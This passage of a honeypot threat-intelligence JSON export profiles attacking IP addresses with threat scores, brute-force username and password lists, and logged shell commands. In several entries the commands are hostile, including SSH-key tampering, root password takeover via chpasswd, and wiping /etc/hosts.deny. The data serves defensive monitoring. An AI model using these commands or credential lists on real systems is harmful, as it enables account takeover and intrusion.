      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T09:56:11.225000+00:00",
        "last_seen_30d": "2026-03-18T09:57:40.832000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.242.155.145": {
      "attack_count": 2,
      "first_seen": "2026-03-22T04:37:13.461Z",
      "last_seen": "2026-03-22T04:37:27.304Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T04:37:13.461000+00:00",
        "last_seen_30d": "2026-03-22T04:38:37.438000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.126.89.242": {
      "attack_count": 2,
      "first_seen": "2026-03-27T06:36:01.598Z",
      "last_seen": "2026-03-27T06:36:35.205Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Palmas",
      "asn": 262352,
      "as_org": "NOVA TELECOM LTDA",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T06:36:01.598000+00:00",
        "last_seen_30d": "2026-03-27T08:04:57.320000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "183.212.245.106": {
      "attack_count": 2,
      "first_seen": "2026-03-11T04:50:29.254Z",
      "last_seen": "2026-03-11T04:50:41.960Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T04:50:29.254000+00:00",
        "last_seen_30d": "2026-03-11T04:51:48.295000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.251.2.231": {
      "attack_count": 2,
      "first_seen": "2026-03-10T23:30:53.364Z",
      "last_seen": "2026-03-10T23:31:05.604Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Assis",
      "asn": 262820,
      "as_org": "OnLine Assis Telecomunicacoes Ltda-EPP",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:30:53.364000+00:00",
        "last_seen_30d": "2026-03-10T23:32:11.412000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "192.241.253.198": {
      "attack_count": 2,
      "first_seen": "2026-03-09T18:16:16.443Z",
      "last_seen": "2026-03-09T18:16:16.691Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Secaucus",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T18:16:16.443000+00:00",
        "last_seen_30d": "2026-03-09T18:17:22.402000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "195.184.76.27": {
      "attack_count": 2,
      "first_seen": "2026-03-18T09:27:24.748Z",
      "last_seen": "2026-03-18T09:27:27.751Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 60.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.2,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 25,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T16:37:46+00:00",
        "last_seen_30d": "2026-03-26T13:59:54.721000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Honeytrap": 21,
        "Cowrie": 2
      }
    },
    "64.62.156.122": {
      "attack_count": 2,
      "first_seen": "2026-03-25T00:12:39.441Z",
      "last_seen": "2026-03-25T00:12:41.589Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 332,
        "days_active_30d": 30,
        "ports_targeted_30d": 88,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T03:25:55.855000+00:00",
        "last_seen_30d": "2026-03-31T14:39:26.840000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 208,
        "Honeytrap": 102,
        "Redishoneypot": 11,
        "Adbhoney": 2,
        "Cowrie": 2,
        "Dionaea": 2,
        "ElasticPot": 2,
        "Tanner": 2,
        "Miniprint": 1
      }
    },
    "71.6.232.24": {
      "attack_count": 2,
      "first_seen": "2026-03-31T01:35:52.740Z",
      "last_seen": "2026-03-31T01:36:00.534Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 88.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 30,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T01:18:06.990000+00:00",
        "last_seen_30d": "2026-03-31T18:46:01.154000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Redishoneypot": 6,
        "Honeytrap": 4,
        "Ciscoasa": 2,
        "Cowrie": 2,
        "Dionaea": 2,
        "Mailoney": 2,
        "H0neytr4p": 1,
        "Tanner": 1
      }
    },
    "95.165.150.204": {
      "attack_count": 2,
      "first_seen": "2026-03-28T12:46:25.019Z",
      "last_seen": "2026-03-28T12:46:59.838Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 25513,
      "as_org": "PJSC Moscow city telephone network",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T12:46:25.019000+00:00",
        "last_seen_30d": "2026-03-28T12:48:37.766000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "99.60.18.106": {
      "attack_count": 2,
      "first_seen": "2026-03-09T13:52:14.126Z",
      "last_seen": "2026-03-09T13:52:14.696Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 7018,
      "as_org": "AT&T Enterprises, LLC",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T13:52:14.126000+00:00",
        "last_seen_30d": "2026-03-09T13:53:21.683000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "62.149.25.72": {
      "attack_count": 207656,
      "first_seen": "2026-03-02T04:22:33.650Z",
      "last_seen": "2026-03-09T04:08:35.828Z",
      "sessions": 69087,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 15497,
      "as_org": "1 Cloud Lab s.r.o.",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 348340,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T04:22:33.650000+00:00",
        "last_seen_30d": "2026-03-09T04:09:43.251000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 207656,
        "Suricata": 140684
      }
    },
    "51.89.1.86": {
      "attack_count": 1245,
      "first_seen": "2026-03-22T14:23:51.554Z",
      "last_seen": "2026-03-22T19:00:38.919Z",
      "sessions": 248,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "admin",
        "es",
        "test",
        "user",
        "app",
        "esuser",
        "flask",
        "ftpuser",
        "git",
        "gitlab",
        "guest",
        "hadoop",
        "postgres",
        "www",
        "deploy",
        "dev",
        "dolphinscheduler",
        "elastic"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "password",
        "!QAZ@WSX",
        "111111",
        "1234",
        "12345678",
        "1qaz@WSX",
        "1qazXSW@",
        "admin",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "!QAZ@wsx",
        "!Qaz@Wsx",
        "!qaz@WSX",
        "123321",
        "12345"
      ],
      "commands_executed": [
        "uname -s -v -n -r-m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 30.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 1791,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T14:23:51.554000+00:00",
        "last_seen_30d": "2026-03-22T19:01:39.561000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1245,
        "Suricata": 546
      }
    },
    "78.42.241.233": {
      "attack_count": 763,
      "first_seen": "2026-03-11T13:12:28.645Z",
      "last_seen": "2026-03-31T03:16:53.220Z",
      "sessions": 69,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bai",
        "jagdish",
        "joshua",
        "maxime",
        "n8n",
        "arm",
        "deamon",
        "desktop",
        "efs",
        "fran",
        "joao",
        "kevin",
        "keycloak",
        "koha",
        "live",
        "luis",
        "odoo12",
        "osboxes"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "12345678",
        "1234",
        "password",
        "!QAZ2wsx123",
        "123.123.123",
        "12345",
        "123456",
        "123456Qwe",
        "123456aA!",
        "2017.com.cn",
        "21vianet",
        "8756",
        "@123456a",
        "Abc12345",
        "Abc123456",
        "Admin*2026",
        "Bai123!",
        "Hd@123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nFhkwzgrY5E7e\\nFhkwzgrY5E7e\\n\"|passwd",
        "echo \"Bai123!\\nDcM0QSJx8Z1S\\nDcM0QSJx8Z1S\\n\"|passwd",
        "echo \"Joshua123!\\nuPDl4pvcKdm1\\nuPDl4pvcKdm1\\n\"|passwd",
        "echo \"maxime123\\nbZKbQv4DmHCY\\nbZKbQv4DmHCY\\n\"|passwd",
        "echo \"n8n\\nSNONsvT33aHP\\nSNONsvT33aHP\\n\"|passwd",
        "echo \"root:TyDP3IHPKkGk\"|chpasswd|bash",
        "echo \"root:X9tuWWSMZLOQ\"|chpasswd|bash",
        "echo -e \"123456\\nFhkwzgrY5E7e\\nFhkwzgrY5E7e\"|passwd|bash",
        "echo -e \"Bai123!\\nDcM0QSJx8Z1S\\nDcM0QSJx8Z1S\"|passwd|bash",
        "echo -e \"Joshua123!\\nuPDl4pvcKdm1\\nuPDl4pvcKdm1\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Pforzheim",
      "asn": 3209,
      "as_org": "Vodafone GmbH",
      "threat_score": 59.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.7,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 932,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T13:12:28.645000+00:00",
        "last_seen_30d": "2026-03-31T03:18:03.292000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 763,
        "Suricata": 169
      }
    },
    "103.134.154.79": {
      "attack_count": 684,
      "first_seen": "2026-03-11T04:09:40.089Z",
      "last_seen": "2026-03-28T17:26:04.104Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "boom",
        "clawd",
        "mikrotik",
        "tiger",
        "contab",
        "def",
        "gbase",
        "kirill",
        "mukul",
        "openvpn",
        "prashant",
        "redhat",
        "rock",
        "sdtd",
        "wg"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123",
        "1234",
        "123456",
        "12345678910",
        "1234Qwer",
        "123qaz!@#QAZ",
        "1314521",
        "20240428",
        "Admin\"123",
        "Athena2025",
        "Boom123",
        "Ctyun@2025",
        "Gbase123",
        "Huawei@5tgb",
        "Kirill123!",
        "Mikrotik123!",
        "No123456@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nYf7QvZijgtbG\\nYf7QvZijgtbG\\n\"|passwd",
        "echo \"Mikrotik123!\\nKnmH2Ik0En5w\\nKnmH2Ik0En5w\\n\"|passwd",
        "echo \"Tiger123!\\nSnixOkczBkau\\nSnixOkczBkau\\n\"|passwd",
        "echo \"root:FnS7FjdTzlQi\"|chpasswd|bash",
        "echo \"root:R6w2jISwaOPp\"|chpasswd|bash",
        "echo \"root:jhH4l2YYj13K\"|chpasswd|bash",
        "echo \"root:vBsMw13uR7Iq\"|chpasswd|bash",
        "echo -e \"123\\nYf7QvZijgtbG\\nYf7QvZijgtbG\"|passwd|bash",
        "echo -e \"Mikrotik123!\\nKnmH2Ik0En5w\\nKnmH2Ik0En5w\"|passwd|bash",
        "echo -e \"Tiger123!\\nSnixOkczBkau\\nSnixOkczBkau\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 50.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.2,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 827,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T04:09:40.089000+00:00",
        "last_seen_30d": "2026-03-28T17:27:04.465000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 684,
        "Suricata": 143
      }
    },
    "27.79.7.26": {
      "attack_count": 644,
      "first_seen": "2026-03-31T22:54:04.290Z",
      "last_seen": "2026-03-31T23:30:33.258Z",
      "sessions": 128,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "user",
        "support",
        "cisco",
        "developer",
        "ftp",
        "ubnt",
        "1234",
        "ace",
        "admian",
        "anton",
        "auto",
        "bin",
        "btf",
        "carol",
        "cf1c22",
        "config",
        "cpanel"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "password",
        "12345",
        "123456",
        "abc123",
        "admin123",
        "039715582364317",
        "0987654321",
        "0l0ctyQh243O63uD",
        "1",
        "1111",
        "12345678",
        "123456789",
        "321start",
        "72b1bd75ac87852a",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abcd1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 44.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 911,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T22:54:04.290000+00:00",
        "last_seen_30d": "2026-03-31T23:31:34.702000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 644,
        "Suricata": 267
      }
    },
    "103.52.115.25": {
      "attack_count": 568,
      "first_seen": "2026-03-04T20:22:05.998Z",
      "last_seen": "2026-03-23T20:05:13.460Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "developer",
        "dheeraj",
        "wang",
        "abdel",
        "adrian",
        "carlos",
        "devops",
        "downloader",
        "eddy",
        "elemental",
        "ftproot",
        "hive",
        "insight",
        "internet",
        "jon",
        "kali",
        "kyle",
        "manuel"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "12345",
        "password",
        "123456",
        "123",
        "123123",
        "1234!@#$",
        "1314520z",
        "741852963",
        "Hive123!",
        "ROOT",
        "Root1234.",
        "Support123!",
        "Teste123@",
        "Tt",
        "abdel123!",
        "adm12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"dheeraj1234\\nPZTV78qCNUGX\\nPZTV78qCNUGX\\n\"|passwd",
        "echo \"password\\nC8bg7jDSe1ob\\nC8bg7jDSe1ob\\n\"|passwd",
        "echo \"root:qvWsBKIBYQNQ\"|chpasswd|bash",
        "echo \"root:vDLphqH9OSzW\"|chpasswd|bash",
        "echo \"wang@123\\nGSyAVEo5t6mm\\nGSyAVEo5t6mm\\n\"|passwd",
        "echo -e \"dheeraj1234\\nPZTV78qCNUGX\\nPZTV78qCNUGX\"|passwd|bash",
        "echo -e \"password\\nC8bg7jDSe1ob\\nC8bg7jDSe1ob\"|passwd|bash",
        "echo -e \"wang@123\\nGSyAVEo5t6mm\\nGSyAVEo5t6mm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 41.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.4,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 697,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T20:22:05.998000+00:00",
        "last_seen_30d": "2026-03-23T20:06:14.778000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 568,
        "Suricata": 129
      }
    },
    "164.92.144.99": {
      "attack_count": 510,
      "first_seen": "2026-03-02T03:59:36.926Z",
      "last_seen": "2026-03-02T05:18:43.481Z",
      "sessions": 101,
      "ports": [],
      "usernames_attempted": [
        "debian",
        "admin",
        "daemon",
        "dev",
        "developer",
        "elastic",
        "dspace",
        "backup",
        "docker"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "4321",
        "54321",
        "654321",
        "qwerty",
        "wasd",
        "321",
        "21",
        "P455word",
        "P@$word",
        "Pa$w0rd",
        "Pa$word",
        "Pa55w0rd",
        "Pa55word",
        "Password",
        "admin12",
        "backup12",
        "daemon",
        "daemon1"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 730,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T03:59:36.926000+00:00",
        "last_seen_30d": "2026-03-02T05:19:52.031000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 510,
        "Suricata": 220
      }
    },
    "147.50.227.79": {
      "attack_count": 506,
      "first_seen": "2026-03-03T13:59:46.077Z",
      "last_seen": "2026-03-17T01:00:52.447Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "elemental",
        "abdul",
        "azureuser",
        "carlo",
        "casaos",
        "downloader",
        "franco",
        "game",
        "hafiz",
        "lee",
        "linda",
        "live",
        "louis",
        "maintainer",
        "milad",
        "panda",
        "reader",
        "rms"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "12345",
        "!Q2w3e4r5t6y",
        "123",
        "1234",
        "Aa123456",
        "Bingo@1993",
        "Lee123",
        "Live123!",
        "Lj123456",
        "Panda",
        "Passw0rd1",
        "Qwert@123",
        "Rms123!",
        "Root2020",
        "Woaini1314",
        "Wu123456..",
        "Zk123456@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
